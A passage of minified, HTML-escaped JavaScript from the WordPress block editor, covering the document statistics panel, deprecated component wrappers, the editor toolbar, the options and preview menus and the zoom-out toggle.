e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;content&quot;)),[]),t=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),s=Math.round((0,Dh.count)(e,t)/Mh),n=0===s?(0,p.createInterpolateElement)((0,fs.__)(&quot;&lt;span&gt;&lt; 1&lt;/span&gt; minute&quot;),{span:(0,c.jsx)(&quot;span&quot;,{})}):(0,p.createInterpolateElement)((0,fs.sprintf)((0,fs._n)(&quot;&lt;span&gt;%s&lt;/span&gt; minute&quot;,&quot;&lt;span&gt;%s&lt;/span&gt; minutes&quot;,s),s),{span:(0,c.jsx)(&quot;span&quot;,{})});return(0,c.jsx)(&quot;span&quot;,{className:&quot;time-to-read&quot;,children:n})}function Oh(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;content&quot;)),[]);return(0,Dh.count)(e,&quot;characters_including_spaces&quot;)}var Fh=function({hasOutlineItemsDisabled:e,onRequestClose:t}){const{headingCount:s,paragraphCount:n,numberOfBlocks:o}=(0,d.useSelect)((e=&gt;{const{getGlobalBlockCount:t}=e(g.store);return{headingCount:t(&quot;core/heading&quot;),paragraphCount:t(&quot;core/paragraph&quot;),numberOfBlocks:t()}}),[]);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;table-of-contents__wrapper&quot;,role:&quot;note&quot;,&quot;aria-label&quot;:(0,fs.__)(&quot;Document Statistics&quot;),tabIndex:&quot;0&quot;,children:(0,c.jsxs)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;table-of-contents__counts&quot;,children:[(0,c.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Words&quot;),(0,c.jsx)(Ah,{})]}),(0,c.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Characters&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:(0,c.jsx)(Oh,{})})]}),(0,c.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Time to read&quot;),(0,c.jsx)(Lh,{})]}),(0,c.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Headings&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:s})]}),(0,c.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Paragraphs&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:n})]}),(0,c.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Blocks&quot;),(0,c.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:o})]})]})}),s&gt;0&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;hr&quot;,{}),(0,c.jsx)(&quot;h2&quot;,{className:&quot;table-of-contents__title&quot;,children:(0,fs.__)(&quot;Document Outline&quot;)}),(0,c.jsx)(ed,{onSelect:t,hasOutlineItemsDisabled:e})]})]})};var Vh=(0,p.forwardRef)((function({hasOutlineItemsDisabled:e,repositionDropdown:t,...s},n){const o=(0,d.useSelect)((e=&gt;!!e(g.store).getBlockCount()),[]);return(0,c.jsx)(Hn.Dropdown,{popoverProps:{placement:t?&quot;right&quot;:&quot;bottom&quot;},className:&quot;table-of-contents&quot;,contentClassName:&quot;table-of-contents__popover&quot;,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,...s,ref:n,onClick:o?t:void 0,icon:Rh,&quot;aria-expanded&quot;:e,&quot;aria-haspopup&quot;:&quot;true&quot;,label:(0,fs.__)(&quot;Details&quot;),tooltipPosition:&quot;bottom&quot;,&quot;aria-disabled&quot;:!o}),renderContent:({onClose:t})=&gt;(0,c.jsx)(Fh,{onRequestClose:t,hasOutlineItemsDisabled:e})})}));function Uh(){const{__experimentalGetDirtyEntityRecords:e}=(0,d.useSelect)(u.store);return(0,p.useEffect)((()=&gt;{const t=t=&gt;{if(e().length&gt;0)return t.returnValue=(0,fs.__)(&quot;You have unsaved changes. If you proceed, they will be lost.&quot;),t.returnValue};return window.addEventListener(&quot;beforeunload&quot;,t),()=&gt;{window.removeEventListener(&quot;beforeunload&quot;,t)}}),[e]),null}const Hh=window.wp.serverSideRender;var zh=s.n(Hh);function Gh(e,t,s=[]){const n=(0,p.forwardRef)(((s,n)=&gt;(k()(&quot;wp.editor.&quot;+e,{since:&quot;5.3&quot;,alternative:&quot;wp.blockEditor.&quot;+e,version:&quot;6.2&quot;}),(0,c.jsx)(t,{ref:n,...s}))));return s.forEach((s=&gt;{n[s]=Gh(e+&quot;.&quot;+s,t[s])})),n}function $h(e,t){return(...s)=&gt;(k()(&quot;wp.editor.&quot;+e,{since:&quot;5.3&quot;,alternative:&quot;wp.blockEditor.&quot;+e,version:&quot;6.2&quot;}),t(...s))}const Wh=Gh(&quot;RichText&quot;,g.RichText,[&quot;Content&quot;]);Wh.isEmpty=$h(&quot;RichText.isEmpty&quot;,g.RichText.isEmpty);const Zh=Gh(&quot;Autocomplete&quot;,g.Autocomplete),Yh=Gh(&quot;AlignmentToolbar&quot;,g.AlignmentToolbar),qh=Gh(&quot;BlockAlignmentToolbar&quot;,g.BlockAlignmentToolbar),Kh=Gh(&quot;BlockControls&quot;,g.BlockControls,[&quot;Slot&quot;]),Qh=Gh(&quot;BlockEdit&quot;,g.BlockEdit),Xh=Gh(&quot;BlockEditorKeyboardShortcuts&quot;,g.BlockEditorKeyboardShortcuts),Jh=Gh(&quot;BlockFormatControls&quot;,g.BlockFormatControls,[&quot;Slot&quot;]),eg=Gh(&quot;BlockIcon&quot;,g.BlockIcon),tg=Gh(&quot;BlockInspector&quot;,g.BlockInspector),sg=Gh(&quot;BlockList&quot;,g.BlockList),ng=Gh(&quot;BlockMover&quot;,g.BlockMover),og=Gh(&quot;BlockNavigationDropdown&quot;,g.BlockNavigationDropdown),rg=Gh(&quot;BlockSelectionClearer&quot;,g.BlockSelectionClearer),ig=Gh(&quot;BlockSettingsMenu&quot;,g.BlockSettingsMenu),ag=Gh(&quot;BlockTitle&quot;,g.BlockTitle),lg=Gh(&quot;BlockToolbar&quot;,g.BlockToolbar),cg=Gh(&quot;ColorPalette&quot;,g.ColorPalette),dg=Gh(&quot;ContrastChecker&quot;,g.ContrastChecker),ug=Gh(&quot;CopyHandler&quot;,g.CopyHandler),pg=Gh(&quot;DefaultBlockAppender&quot;,g.DefaultBlockAppender),mg=Gh(&quot;FontSizePicker&quot;,g.FontSizePicker),hg=Gh(&quot;Inserter&quot;,g.Inserter),gg=Gh(&quot;InnerBlocks&quot;,g.InnerBlocks,[&quot;ButtonBlockAppender&quot;,&quot;DefaultBlockAppender&quot;,&quot;Content&quot;]),_g=Gh(&quot;InspectorAdvancedControls&quot;,g.InspectorAdvancedControls,[&quot;Slot&quot;]),fg=Gh(&quot;InspectorControls&quot;,g.InspectorControls,[&quot;Slot&quot;]),bg=Gh(&quot;PanelColorSettings&quot;,g.PanelColorSettings),yg=Gh(&quot;PlainText&quot;,g.PlainText),xg=Gh(&quot;RichTextShortcut&quot;,g.RichTextShortcut),vg=Gh(&quot;RichTextToolbarButton&quot;,g.RichTextToolbarButton),wg=Gh(&quot;__unstableRichTextInputEvent&quot;,g.__unstableRichTextInputEvent),Sg=Gh(&quot;MediaPlaceholder&quot;,g.MediaPlaceholder),kg=Gh(&quot;MediaUpload&quot;,g.MediaUpload),Cg=Gh(&quot;MediaUploadCheck&quot;,g.MediaUploadCheck),Pg=Gh(&quot;MultiSelectScrollIntoView&quot;,g.MultiSelectScrollIntoView),jg=Gh(&quot;NavigableToolbar&quot;,g.NavigableToolbar),Eg=Gh(&quot;ObserveTyping&quot;,g.ObserveTyping),Tg=Gh(&quot;SkipToSelectedBlock&quot;,g.SkipToSelectedBlock),Ig=Gh(&quot;URLInput&quot;,g.URLInput),Bg=Gh(&quot;URLInputButton&quot;,g.URLInputButton),Ng=Gh(&quot;URLPopover&quot;,g.URLPopover),Rg=Gh(&quot;Warning&quot;,g.Warning),Dg=Gh(&quot;WritingFlow&quot;,g.WritingFlow),Ag=$h(&quot;createCustomColorsHOC&quot;,g.createCustomColorsHOC),Mg=$h(&quot;getColorClassName&quot;,g.getColorClassName),Lg=$h(&quot;getColorObjectByAttributeValues&quot;,g.getColorObjectByAttributeValues),Og=$h(&quot;getColorObjectByColorValue&quot;,g.getColorObjectByColorValue),Fg=$h(&quot;getFontSize&quot;,g.getFontSize),Vg=$h(&quot;getFontSizeClass&quot;,g.getFontSizeClass),Ug=$h(&quot;withColorContext&quot;,g.withColorContext),Hg=$h(&quot;withColors&quot;,g.withColors),zg=$h(&quot;withFontSizes&quot;,g.withFontSizes),Gg=kl,$g=kl;function Wg(e){return k()(&quot;wp.editor.cleanForSlug&quot;,{since:&quot;12.7&quot;,plugin:&quot;Gutenberg&quot;,alternative:&quot;wp.url.cleanForSlug&quot;}),(0,w.cleanForSlug)(e)}var Zg=(0,Hn.createSlotFill)(Symbol(&quot;EditCanvasContainerSlot&quot;));const Yg=&quot;__experimentalMainDashboardButton&quot;,{Fill:qg,Slot:Kg}=(0,Hn.createSlotFill)(Yg),Qg=qg;Qg.Slot=()=&gt;{const e=(0,Hn.__experimentalUseSlotFills)(Yg);return(0,c.jsx)(Kg,{bubblesVirtually:!0,fillProps:{length:e?e.length:0}})};var Xg=Qg,Jg=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z&quot;})}),e_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z&quot;})});const{useHasBlockToolbar:t_}=$(g.privateApis);function s_({isCollapsed:e,onToggle:t}){const{blockSelectionStart:s}=(0,d.useSelect)((e=&gt;({blockSelectionStart:e(g.store).getBlockSelectionStart()})),[]),n=t_(),o=!!s;return(0,p.useEffect)((()=&gt;{s&amp;&amp;t(!1)}),[s,t]),n?(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;div&quot;,{className:mr(&quot;editor-collapsible-block-toolbar&quot;,{&quot;is-collapsed&quot;:e||!o}),children:(0,c.jsx)(g.BlockToolbar,{hideDragHandle:!0})}),(0,c.jsx)(Hn.Popover.Slot,{name:&quot;block-toolbar&quot;}),(0,c.jsx)(Hn.Button,{className:&quot;editor-collapsible-block-toolbar__toggle&quot;,icon:e?Jg:e_,onClick:()=&gt;{t(!e)},label:e?(0,fs.__)(&quot;Show block tools&quot;):(0,fs.__)(&quot;Hide block tools&quot;),size:&quot;compact&quot;})]}):null}var n_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z&quot;})});var o_=function({className:e,disableBlockTools:t=!1}){const{setIsInserterOpened:s,setIsListViewOpened:n}=(0,d.useDispatch)(vc),{isDistractionFree:o,isInserterOpened:r,isListViewOpen:i,listViewShortcut:a,inserterSidebarToggleRef:l,listViewToggleRef:u,showIconLabels:h}=(0,d.useSelect)((e=&gt;{const{get:t}=e(C.store),{isListViewOpened:s,getEditorMode:n,getInserterSidebarToggleRef:o,getListViewToggleRef:r}=$(e(vc)),{getShortcutRepresentation:i}=e(il.store);return{isInserterOpened:e(vc).isInserterOpened(),isListViewOpen:s(),listViewShortcut:i(&quot;core/editor/toggle-list-view&quot;),inserterSidebarToggleRef:o(),listViewToggleRef:r(),showIconLabels:t(&quot;core&quot;,&quot;showIconLabels&quot;),isDistractionFree:t(&quot;core&quot;,&quot;distractionFree&quot;),isVisualMode:&quot;visual&quot;===n()}}),[]),_=(0,m.useViewportMatch)(&quot;wide&quot;),f=(0,fs.__)(&quot;Document tools&quot;),b=(0,p.useCallback)((()=&gt;n(!i)),[n,i]),y=(0,p.useCallback)((()=&gt;s(!r)),[r,s]),x=(0,fs._x)(&quot;Block Inserter&quot;,&quot;Generic label for block inserter button&quot;),v=r?(0,fs.__)(&quot;Close&quot;):(0,fs.__)(&quot;Add&quot;);return(0,c.jsx)(g.NavigableToolbar,{className:mr(&quot;editor-document-tools&quot;,&quot;edit-post-header-toolbar&quot;,e),&quot;aria-label&quot;:f,variant:&quot;unstyled&quot;,children:(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-document-tools__left&quot;,children:[!o&amp;&amp;(0,c.jsx)(Hn.ToolbarButton,{ref:l,className:&quot;editor-document-tools__inserter-toggle&quot;,variant:&quot;primary&quot;,isPressed:r,onMouseDown:e=&gt;{r&amp;&amp;e.preventDefault()},onClick:y,disabled:t,icon:n_,label:h?v:x,showTooltip:!h,&quot;aria-expanded&quot;:r}),(_||!h)&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.ToolbarItem,{as:id,showTooltip:!h,variant:h?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;}),(0,c.jsx)(Hn.ToolbarItem,{as:rd,showTooltip:!h,variant:h?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;}),!o&amp;&amp;(0,c.jsx)(Hn.ToolbarButton,{className:&quot;editor-document-tools__document-overview-toggle&quot;,icon:Wi,disabled:t,isPressed:i,label:(0,fs.__)(&quot;Document Overview&quot;),onClick:b,shortcut:a,showTooltip:!h,variant:h?&quot;tertiary&quot;:void 0,&quot;aria-expanded&quot;:i,ref:u})]})]})})},r_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z&quot;})});function i_(){const{createNotice:e}=(0,d.useDispatch)(_s.store),{getCurrentPostId:t,getCurrentPostType:s}=(0,d.useSelect)(vc),{getEditedEntityRecord:n}=(0,d.useSelect)(u.store);const o=(0,m.useCopyToClipboard)((function(){const e=n(&quot;postType&quot;,s(),t());return e?&quot;function&quot;==typeof e.content?e.content(e):e.blocks?(0,x.__unstableSerializeAndClean)(e.blocks):e.content?e.content:void 0:&quot;&quot;}),(function(){e(&quot;info&quot;,(0,fs.__)(&quot;All content copied.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})}));return(0,c.jsx)(Hn.MenuItem,{ref:o,children:(0,fs.__)(&quot;Copy all blocks&quot;)})}const a_=[{value:&quot;visual&quot;,label:(0,fs.__)(&quot;Visual editor&quot;)},{value:&quot;text&quot;,label:(0,fs.__)(&quot;Code editor&quot;)}];var l_=function(){const{shortcut:e,isRichEditingEnabled:t,isCodeEditingEnabled:s,mode:n}=(0,d.useSelect)((e=&gt;({shortcut:e(il.store).getShortcutRepresentation(&quot;core/editor/toggle-mode&quot;),isRichEditingEnabled:e(vc).getEditorSettings().richEditingEnabled,isCodeEditingEnabled:e(vc).getEditorSettings().codeEditingEnabled,mode:e(vc).getEditorMode()})),[]),{switchEditorMode:o}=(0,d.useDispatch)(vc);let r=n;t||&quot;visual&quot;!==n||(r=&quot;text&quot;),s||&quot;text&quot;!==n||(r=&quot;visual&quot;);const i=a_.map((n=&gt;(s||&quot;text&quot;!==n.value||(n={...n,disabled:!0}),t||&quot;visual&quot;!==n.value||(n={...n,disabled:!0,info:(0,fs.__)(&quot;You can enable the visual editor in your profile settings.&quot;)}),n.value===r||n.disabled?n:{...n,shortcut:e})));return(0,c.jsx)(Hn.MenuGroup,{label:(0,fs.__)(&quot;Editor&quot;),children:(0,c.jsx)(Hn.MenuItemsChoice,{choices:i,value:r,onSelect:o})})};const{Fill:c_,Slot:d_}=(0,Hn.createSlotFill)(&quot;ToolsMoreMenuGroup&quot;);c_.Slot=({fillProps:e})=&gt;(0,c.jsx)(d_,{fillProps:e});var u_=c_;const{Fill:p_,Slot:m_}=(0,Hn.createSlotFill)(&quot;web&quot;===p.Platform.OS?Symbol(&quot;ViewMoreMenuGroup&quot;):&quot;ViewMoreMenuGroup&quot;);p_.Slot=({fillProps:e})=&gt;(0,c.jsx)(m_,{fillProps:e});var h_=p_;function g_(){const{openModal:e}=(0,d.useDispatch)(ja),{set:t}=(0,d.useDispatch)(C.store),{toggleDistractionFree:s}=(0,d.useDispatch)(vc),n=(0,d.useSelect)((e=&gt;e(C.store).get(&quot;core&quot;,&quot;showIconLabels&quot;)),[]),o=()=&gt;{t(&quot;core&quot;,&quot;distractionFree&quot;,!1)};return(0,c.jsx)(c.Fragment,{children:(0,c.jsx)(Hn.DropdownMenu,{icon:r_,label:(0,fs.__)(&quot;Options&quot;),popoverProps:{placement:&quot;bottom-end&quot;,className:&quot;more-menu-dropdown__content&quot;},toggleProps:{showTooltip:!n,...n&amp;&amp;{variant:&quot;tertiary&quot;},tooltipPosition:&quot;bottom&quot;,size:&quot;compact&quot;},children:({onClose:t})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(Hn.MenuGroup,{label:(0,fs._x)(&quot;View&quot;,&quot;noun&quot;),children:[(0,c.jsx)(C.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;fixedToolbar&quot;,onToggle:o,label:(0,fs.__)(&quot;Top toolbar&quot;),info:(0,fs.__)(&quot;Access all block and document tools in a single place&quot;),messageActivated:(0,fs.__)(&quot;Top toolbar activated.&quot;),messageDeactivated:(0,fs.__)(&quot;Top toolbar deactivated.&quot;)}),(0,c.jsx)(C.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;distractionFree&quot;,label:(0,fs.__)(&quot;Distraction free&quot;),info:(0,fs.__)(&quot;Write with calmness&quot;),handleToggling:!1,onToggle:()=&gt;s({createNotice:!1}),messageActivated:(0,fs.__)(&quot;Distraction free mode activated.&quot;),messageDeactivated:(0,fs.__)(&quot;Distraction free mode deactivated.&quot;),shortcut:ll.displayShortcut.primaryShift(&quot;\\&quot;)}),(0,c.jsx)(C.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;focusMode&quot;,label:(0,fs.__)(&quot;Spotlight mode&quot;),info:(0,fs.__)(&quot;Focus on one block at a time&quot;),messageActivated:(0,fs.__)(&quot;Spotlight mode activated.&quot;),messageDeactivated:(0,fs.__)(&quot;Spotlight mode deactivated.&quot;)}),(0,c.jsx)(h_.Slot,{fillProps:{onClose:t}})]}),(0,c.jsx)(l_,{}),(0,c.jsx)(Na.Slot,{name:&quot;core/plugin-more-menu&quot;,label:(0,fs.__)(&quot;Panels&quot;),fillProps:{onClick:t}}),(0,c.jsxs)(Hn.MenuGroup,{label:(0,fs.__)(&quot;Tools&quot;),children:[(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;e(&quot;editor/keyboard-shortcut-help&quot;),shortcut:ll.displayShortcut.access(&quot;h&quot;),children:(0,fs.__)(&quot;Keyboard shortcuts&quot;)}),(0,c.jsx)(i_,{}),(0,c.jsxs)(Hn.MenuItem,{icon:Fn,href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/wordpress-block-editor/&quot;),target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,children:[(0,fs.__)(&quot;Help&quot;),(0,c.jsx)(Hn.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]}),(0,c.jsx)(u_.Slot,{fillProps:{onClose:t}})]}),(0,c.jsx)(Hn.MenuGroup,{children:(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;e(&quot;editor/preferences&quot;),children:(0,fs.__)(&quot;Preferences&quot;)})})]})})})}const __=&quot;toggle&quot;,f_=&quot;button&quot;;function b_({forceIsDirty:e,setEntitiesSavedStatesCallback:t}){let s;const n=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{togglePublishSidebar:o}=(0,d.useDispatch)(vc),{hasPublishAction:r,isBeingScheduled:i,isPending:a,isPublished:l,isPublishSidebarEnabled:u,isPublishSidebarOpened:p,isScheduled:h,postStatus:g,postStatusHasChanged:_}=(0,d.useSelect)((e=&gt;({hasPublishAction:!!e(vc).getCurrentPost()?._links?.[&quot;wp:action-publish&quot;],isBeingScheduled:e(vc).isEditedPostBeingScheduled(),isPending:e(vc).isCurrentPostPending(),isPublished:e(vc).isCurrentPostPublished(),isPublishSidebarEnabled:e(vc).isPublishSidebarEnabled(),isPublishSidebarOpened:e(vc).isPublishSidebarOpened(),isScheduled:e(vc).isCurrentPostScheduled(),postStatus:e(vc).getEditedPostAttribute(&quot;status&quot;),postStatusHasChanged:e(vc).getPostEdits()?.status})),[]);return s=l||_&amp;&amp;![&quot;future&quot;,&quot;publish&quot;].includes(g)||h&amp;&amp;i||a&amp;&amp;!r&amp;&amp;!n?f_:n||u?__:f_,(0,c.jsx)(Vp,{forceIsDirty:e,isOpen:p,isToggle:s===__,onToggle:o,setEntitiesSavedStatesCallback:t})}function y_(){const{hasLoaded:e,permalink:t,isPublished:s,label:n,showIconLabels:o}=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPostType(),s=e(u.store).getPostType(t),{get:n}=e(C.store);return{permalink:e(vc).getPermalink(),isPublished:e(vc).isCurrentPostPublished(),label:s?.labels.view_item,hasLoaded:!!s,showIconLabels:n(&quot;core&quot;,&quot;showIconLabels&quot;)}}),[]);return s&amp;&amp;t&amp;&amp;e?(0,c.jsx)(Hn.Button,{icon:Fn,label:n||(0,fs.__)(&quot;View post&quot;),href:t,target:&quot;_blank&quot;,showTooltip:!o,size:&quot;compact&quot;}):null}var x_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z&quot;})}),v_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z&quot;})}),w_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z&quot;})});function S_({forceIsAutosaveable:e,disabled:t}){const{deviceType:s,homeUrl:n,isTemplate:o,isViewable:r,showIconLabels:i,isTemplateHidden:a,templateId:l}=(0,d.useSelect)((e=&gt;{const{getDeviceType:t,getCurrentPostType:s,getCurrentTemplateId:n,getRenderingMode:o}=e(vc),{getEntityRecord:r,getPostType:i}=e(u.store),{get:a}=e(C.store),l=s();return{deviceType:t(),homeUrl:r(&quot;root&quot;,&quot;__unstableBase&quot;)?.home,isTemplate:&quot;wp_template&quot;===l,isViewable:i(l)?.viewable??!1,showIconLabels:a(&quot;core&quot;,&quot;showIconLabels&quot;),isTemplateHidden:&quot;post-only&quot;===o(),templateId:n()}}),[]),{setDeviceType:p,setRenderingMode:h,setDefaultRenderingMode:_}=$((0,d.useDispatch)(vc)),{resetZoomLevel:f}=$((0,d.useDispatch)(g.store)),b=e=&gt;{p(e),f()};if((0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;))return null;const y={className:&quot;editor-preview-dropdown__toggle&quot;,iconPosition:&quot;right&quot;,size:&quot;compact&quot;,showTooltip:!i,disabled:t,accessibleWhenDisabled:t},x={&quot;aria-label&quot;:(0,fs.__)(&quot;View options&quot;)},v={desktop:x_,mobile:v_,tablet:w_},w=[{value:&quot;Desktop&quot;,label:(0,fs.__)(&quot;Desktop&quot;),icon:x_},{value:&quot;Tablet&quot;,label:(0,fs.__)(&quot;Tablet&quot;),icon:w_},{value:&quot;Mobile&quot;,label:(0,fs.__)(&quot;Mobile&quot;),icon:v_}];return(0,c.jsx)(Hn.DropdownMenu,{className:mr(&quot;editor-preview-dropdown&quot;,`editor-preview-dropdown--${s.toLowerCase()}`),popoverProps:{placement:&quot;bottom-end&quot;},toggleProps:y,menuProps:x,icon:v[s.toLowerCase()],label:(0,fs.__)(&quot;View&quot;),disableOpenOnArrowDown:t,children:({onClose:t})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.MenuGroup,{children:(0,c.jsx)(Hn.MenuItemsChoice,{choices:w,value:s,onSelect:b})}),o&amp;&amp;(0,c.jsx)(Hn.MenuGroup,{children:(0,c.jsxs)(Hn.MenuItem,{href:n,target:&quot;_blank&quot;,icon:Fn,onClick:t,children:[(0,fs.__)(&quot;View site&quot;),(0,c.jsx)(Hn.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]})}),!o&amp;&amp;!!l&amp;&amp;(0,c.jsx)(Hn.MenuGroup,{children:(0,c.jsx)(Hn.MenuItem,{icon:a?void 0:zn,isSelected:!a,role:&quot;menuitemcheckbox&quot;,onClick:()=&gt;{const e=a?&quot;template-locked&quot;:&quot;post-only&quot;;h(e),_(e),f()},children:(0,fs.__)(&quot;Show template&quot;)})}),r&amp;&amp;(0,c.jsx)(Hn.MenuGroup,{children:(0,c.jsx)(Mp,{className:&quot;editor-preview-dropdown__button-external&quot;,role:&quot;menuitem&quot;,forceIsAutosaveable:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Preview in new tab&quot;),textContent:(0,c.jsxs)(c.Fragment,{children:[(0,fs.__)(&quot;Preview in new tab&quot;),(0,c.jsx)(Hn.Icon,{icon:Fn})]}),onPreview:t})}),(0,c.jsx)(Na.Slot,{name:&quot;core/plugin-preview-menu&quot;,fillProps:{onClick:t}})]})})}var k_=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fill:&quot;none&quot;,d:&quot;M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25&quot;,stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,strokeLinecap:&quot;square&quot;})});var C_=({disabled:e})=&gt;{const{isZoomOut:t,showIconLabels:s,isDistractionFree:n}=(0,d.useSelect)((e=&gt;({isZoomOut:$(e(g.store)).isZoomOut(),showIconLabels:e(C.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),isDistractionFree:e(C.store).get(&quot;core&quot;,&quot;distractionFree&quot;)}))),{resetZoomLevel:o,setZoomLevel:r}=$((0,d.useDispatch)(g.store)),{registerShortcut:i,unregisterShortcut:a}=(0,d.useDispatch)(il.store);(0,p.useEffect)((()=&gt;(i({name:&quot;core/editor/zoom&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Enter or exit zoom out.&quot;),keyCombination:{modifier:(0,ll.isAppleOS)()?&quot;primaryShift&quot;:&quot;secondary&quot;,character:&quot;0&quot;}}),()=&gt;{a(&quot;core/editor/zoom&quot;)})),[i,a]),(0,il.useShortcut)(&quot;core/editor/zoom&quot;,(()=&gt;{t?o():r(&quot;auto-scaled&quot;)}),{isDisabled:n});return(0,c.jsx)(Hn.Button,{accessibleWhenDisabled:!0,disabled:e,onClick:()=&gt;{t?o():r(&quot;auto-scaled&quot;)},icon:k_,label:(0,fs.__)(&quot;Zoom Out&quot;),isPressed:t,size:&quot;compact&quot;,showTooltip:!s,className:&quot;editor-zoom-out-toggle&quot;})};const P_={distractionFreeDisabled:{y:&quot;-50px&quot;},distractionFreeHover:{y:0},distractionFreeHidden:{y:&quot;-50px&quot;},visible:{y:0},hidden:{y:0}},j_={distractionFreeDisabled:{x:&quot;-100%&quot;},distractionFreeHover:{x:0},distractionFreeHidden:{x:&quot;-100%&quot;},visible:{x:0},hidden:{x:0}};var E_=function({customSaveButton:e,forceIsDirty:t,forceDisableBlockTools:s,setEntitiesSavedStatesCallback:n,title:o}){const r=(0,m.useViewportMatch)(&quot;large&quot;),i=(0,m.useViewportMatch)(&quot;medium&quot;),a=(0,m.useMediaQuery)(&quot;(max-width: 